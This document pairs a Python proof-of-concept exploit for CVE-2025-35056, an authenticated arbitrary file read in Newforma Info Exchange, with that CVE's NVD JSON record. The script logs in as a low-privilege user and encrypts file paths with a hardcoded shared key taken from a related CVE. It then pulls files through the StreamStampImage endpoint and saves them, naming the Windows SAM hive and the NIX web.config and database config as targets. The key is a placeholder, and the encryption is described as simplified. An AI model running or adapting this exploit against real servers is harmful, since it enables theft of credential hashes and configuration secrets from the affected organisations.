CVE-2025-35056

#!/usr/bin/env python3 # CVE-2025-35056 - Newforma Info Exchange (NIX) Arbitrary File Read PoC # Exploits StreamStampImage in MarkupServices.ashx using hardcoded key from CVE-2025-35052 import requests import base64 from urllib.parse import quote TARGET_URL = "https://target-nix-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Hardcoded secret key extracted from NIX client (CVE-2025-35052) # This key is used to encrypt file paths passed to StreamStampImage HARDCODED_KEY = "NIX_SHARED_SECRET_KEY_HERE" # Replace with actual extracted key def encrypt_path(file_path, key): """Encrypt file path using NIX hardcoded key (simplified XOR-based encryption)""" encrypted = [] for i, char in enumerate(file_path.encode()): encrypted.append(char ^ ord(key[i % len(key)])) return base64.b64encode(bytes(encrypted)).decode() def exploit(target_url, username, password, target_file): session = requests.Session() # Step 1: Authenticate to NIX login_url = f"{target_url}/UserWeb/Account/Login.aspx" login_data = { "ctl00$ContentPlaceHolder1$UsernameTextBox": username, "ctl00$ContentPlaceHolder1$PasswordTextBox": password, "ctl00$ContentPlaceHolder1$LoginButton": "Log In" } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Encrypt target file path encrypted_path = encrypt_path(target_file, HARDCODED_KEY) print(f"[*] Encrypted path for '{target_file}': {encrypted_path}") # Step 3: Request file via StreamStampImage exploit_url = f"{target_url}/UserWeb/Common/MarkupServices.ashx" params = { "method": "StreamStampImage", "filePath": encrypted_path } resp = session.get(exploit_url, params=params, verify=False) print(f"[*] Exploit response: {resp.status_code}, Content-Length: {len(resp.content)}") if resp.status_code == 200 and len(resp.content) > 0: output_file = target_file.replace("\\", "_").replace("/", "_") + ".bin" with open(output_file, "wb") as f: f.write(resp.content) print(f"[+] File saved to: {output_file}") return True return False if __name__ == "__main__": # Example: read Windows SAM file or NIX config target_files = [ "C:\\Windows\\System32\\config\\SAM", "C:\\Program Files\\Newforma\\NIX\\web.config", "C:\\Program Files\\Newforma\\NIX\\App_Data\\database.config" ] for tf in target_files: print(f"\n[*] Attempting to read: {tf}") exploit(TARGET_URL, USERNAME, PASSWORD, tf)

{"cve": {"id": "CVE-2025-35056", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-09T21:15:36.670", "lastModified": "2025-10-22T15:16:36.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Newforma Info Exchange (NIX) '/UserWeb/Common/MarkupServices.ashx' 'StreamStampImage' accepts an encrypted file path and returns an image of the specified file. An authenticated attacker can read arbitrary files subject to the privileges of NIX, typically 'NT AUTHORITY\\NetworkService', and the ability of StreamStampImage to process the file. The encrypted file path can be generated using the shared, hard-coded secret key described in CVE-2025-35052. This vulnerability cannot be exploited as an 'anonymous' user as described in CVE-2025-35062."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024.1", "matchCriteriaId": "BBC6EAB6-B5A7-4557-8C51-AB1CB186EB3C"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-282-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35056", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35062", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}